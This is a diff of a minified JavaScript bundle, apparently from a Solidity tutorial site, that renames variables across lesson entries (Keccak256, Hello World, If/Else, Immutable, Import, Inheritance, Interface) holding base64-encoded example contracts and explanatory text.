Solidity",jZ=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKHN0cmluZyBtZW1vcnkgX3RleHQsIHVpbnQyNTYgX251bSwgYWRkcmVzcyBfYWRkcikKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RleHQsIF9udW0sIF9hZGRyKSk7CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiBoYXNoIGNvbGxpc2lvbgogICAgLy8gSGFzaCBjb2xsaXNpb24gY2FuIG9jY3VyIHdoZW4geW91IHBhc3MgbW9yZSB0aGFuIG9uZSBkeW5hbWljIGRhdGEgdHlwZQogICAgLy8gdG8gYWJpLmVuY29kZVBhY2tlZC4gSW4gc3VjaCBjYXNlLCB5b3Ugc2hvdWxkIHVzZSBhYmkuZW5jb2RlIGluc3RlYWQuCiAgICBmdW5jdGlvbiBjb2xsaXNpb24oc3RyaW5nIG1lbW9yeSBfdGV4dCwgc3RyaW5nIG1lbW9yeSBfYW5vdGhlclRleHQpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgLy8gZW5jb2RlUGFja2VkKEFBQSwgQkJCKSAtPiBBQUFCQkIKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUEsIEFCQkIpIC0+IEFBQUJCQgogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX2Fub3RoZXJUZXh0KSk7CiAgICB9Cn0KCmNvbnRyYWN0IEd1ZXNzVGhlTWFnaWNXb3JkIHsKICAgIGJ5dGVzMzIgcHVibGljIGFuc3dlciA9CiAgICAgICAgMHg2MDI5OGY3OGNjMGI0NzE3MGJhNzljMTBhYTM4NTFkNzY0OGJkOTZmMmY4ZTQ2YTE5ZGJjNzc3YzM2ZmIwYzAwOwoKICAgIC8vIE1hZ2ljIHdvcmQgaXMgIlNvbGlkaXR5IgogICAgZnVuY3Rpb24gZ3Vlc3Moc3RyaW5nIG1lbW9yeSBfd29yZCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfd29yZCkpID09IGFuc3dlcjsKICAgIH0KfQo="}],AZ=`

                                    keccak256 computes the Keccak-256 hash of the input.

                                    Some use cases are:

                                    • Creating a deterministic unique ID from a input
                                      • @@ -11210,7 +11210,7 @@ if the signer's intention was to approve a transaction once.

                                      return keccak256(abi.encodePacked(_word)) == answer; } } -`,yZ=({prev:s,next:a})=>r.jsx(A,{version:dZ,title:CZ,description:jZ,html:uZ,prev:s,next:a,codes:AZ}),mZ="0.8.24",bZ="Hello World",wZ="Hello world in Solidity",kZ=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yNCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjI0OwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],ZZ=`

                                      pragma specifies the compiler version of Solidity.

                                      +`,uZ=({prev:s,next:a})=>r.jsx(A,{version:IZ,title:dZ,description:CZ,html:AZ,prev:s,next:a,codes:jZ}),yZ="0.8.24",mZ="Hello World",bZ="Hello world in Solidity",wZ=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yNCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjI0OwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],kZ=`

                                      pragma specifies the compiler version of Solidity.

                                      // SPDX-License-Identifier: MIT
 // compiler version must be greater than or equal to 0.8.24 and less than 0.9.0
 pragma solidity ^0.8.24;
@@ -11218,7 +11218,7 @@ if the signer's intention was to approve a transaction once.
                                      
 contract HelloWorld {
     string public greet = "Hello World!";
 }
-
                                      `,WZ=({prev:s,next:a})=>r.jsx(A,{version:mZ,title:bZ,description:wZ,html:ZZ,prev:s,next:a,codes:kZ}),BZ="0.8.24",GZ="If / Else",VZ="If / Else conditional statement in Solidity",fZ=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50MjU2IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],YZ=`

                                      Solidity supports conditional statements if, else if and else.

                                      +`,ZZ=({prev:s,next:a})=>r.jsx(A,{version:yZ,title:mZ,description:bZ,html:kZ,prev:s,next:a,codes:wZ}),WZ="0.8.24",BZ="If / Else",GZ="If / Else conditional statement in Solidity",VZ=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50MjU2IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],fZ=`

                                      Solidity supports conditional statements if, else if and else.

                                      // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -11244,7 +11244,7 @@ if the signer's intention was to approve a transaction once.
                                      
         return _x < 10 ? 1 : 2;
     }
 }
-
                                      `,XZ=({prev:s,next:a})=>r.jsx(A,{version:BZ,title:GZ,description:VZ,html:YZ,prev:s,next:a,codes:fZ}),RZ="0.8.24",vZ="Immutable",NZ="Immutable variables",HZ=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQyNTYgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],FZ=`

                                      Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

                                      +`,YZ=({prev:s,next:a})=>r.jsx(A,{version:WZ,title:BZ,description:GZ,html:fZ,prev:s,next:a,codes:VZ}),XZ="0.8.24",vZ="Immutable",RZ="Immutable variables",NZ=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQyNTYgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],HZ=`

                                      Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

                                      // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -11258,7 +11258,7 @@ if the signer's intention was to approve a transaction once.
                                      
         MY_UINT = _myUint;
     }
 }
-
                                      `,KZ=({prev:s,next:a})=>r.jsx(A,{version:RZ,title:vZ,description:NZ,html:FZ,prev:s,next:a,codes:HZ}),MZ="0.8.24",SZ="Import",xZ="Learn how to import other Solidity files",JZ=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50MjU2IHg7CiAgICB1aW50MjU2IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludDI1NiB4LCB1aW50MjU2IHkpIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],zZ=`

                                      You can import local and external files in Solidity.

                                      +`,KZ=({prev:s,next:a})=>r.jsx(A,{version:XZ,title:vZ,description:RZ,html:HZ,prev:s,next:a,codes:NZ}),FZ="0.8.24",MZ="Import",SZ="Learn how to import other Solidity files",xZ=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50MjU2IHg7CiAgICB1aW50MjU2IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludDI1NiB4LCB1aW50MjU2IHkpIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],JZ=`

                                      You can import local and external files in Solidity.

                                      Local

                                      Here is our folder structure.

                                      ├── Import.sol
@@ -11308,7 +11308,7 @@ if the signer's intention was to approve a transaction once.
                                      
 // Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch
 // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol
 import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
-
                                      `,DZ=({prev:s,next:a})=>r.jsx(A,{version:MZ,title:SZ,description:xZ,html:zZ,prev:s,next:a,codes:JZ}),EZ="0.8.24",QZ="Inheritance",TZ="Example of inheritance in Solidity",UZ=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxsZWQgdGhhdCBpcyBkZWZpbmVkIG11bHRpcGxlIHRpbWVzIGluCi8vIGRpZmZlcmVudCBjb250cmFjdHMsIHBhcmVudCBjb250cmFjdHMgYXJlIHNlYXJjaGVkIGZyb20KLy8gcmlnaHQgdG8gbGVmdCwgYW5kIGluIGRlcHRoLWZpcnN0IG1hbm5lci4KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],_Z=`

                                      Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                      +`,zZ=({prev:s,next:a})=>r.jsx(A,{version:FZ,title:MZ,description:SZ,html:JZ,prev:s,next:a,codes:xZ}),DZ="0.8.24",EZ="Inheritance",QZ="Example of inheritance in Solidity",TZ=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxsZWQgdGhhdCBpcyBkZWZpbmVkIG11bHRpcGxlIHRpbWVzIGluCi8vIGRpZmZlcmVudCBjb250cmFjdHMsIHBhcmVudCBjb250cmFjdHMgYXJlIHNlYXJjaGVkIGZyb20KLy8gcmlnaHQgdG8gbGVmdCwgYW5kIGluIGRlcHRoLWZpcnN0IG1hbm5lci4KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],UZ=`

                                      Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                      Function that is going to be overridden by a child contract must be declared as virtual.

                                      Function that is going to override a parent function must use the keyword override.

                                      Order of inheritance is important.

                                      @@ -11374,7 +11374,7 @@ F D,E return super.foo(); } } -`,LZ=({prev:s,next:a})=>r.jsx(A,{version:EZ,title:QZ,description:TZ,html:_Z,prev:s,next:a,codes:UZ}),OZ="0.8.24",PZ="Interface",$Z="An example of interface in Solidity",qZ=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],sW=`

                                      You can interact with other contracts by declaring an Interface.

                                      +`,_Z=({prev:s,next:a})=>r.jsx(A,{version:DZ,title:EZ,description:QZ,html:UZ,prev:s,next:a,codes:TZ}),LZ="0.8.24",OZ="Interface",PZ="An example of interface in Solidity",$Z=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAg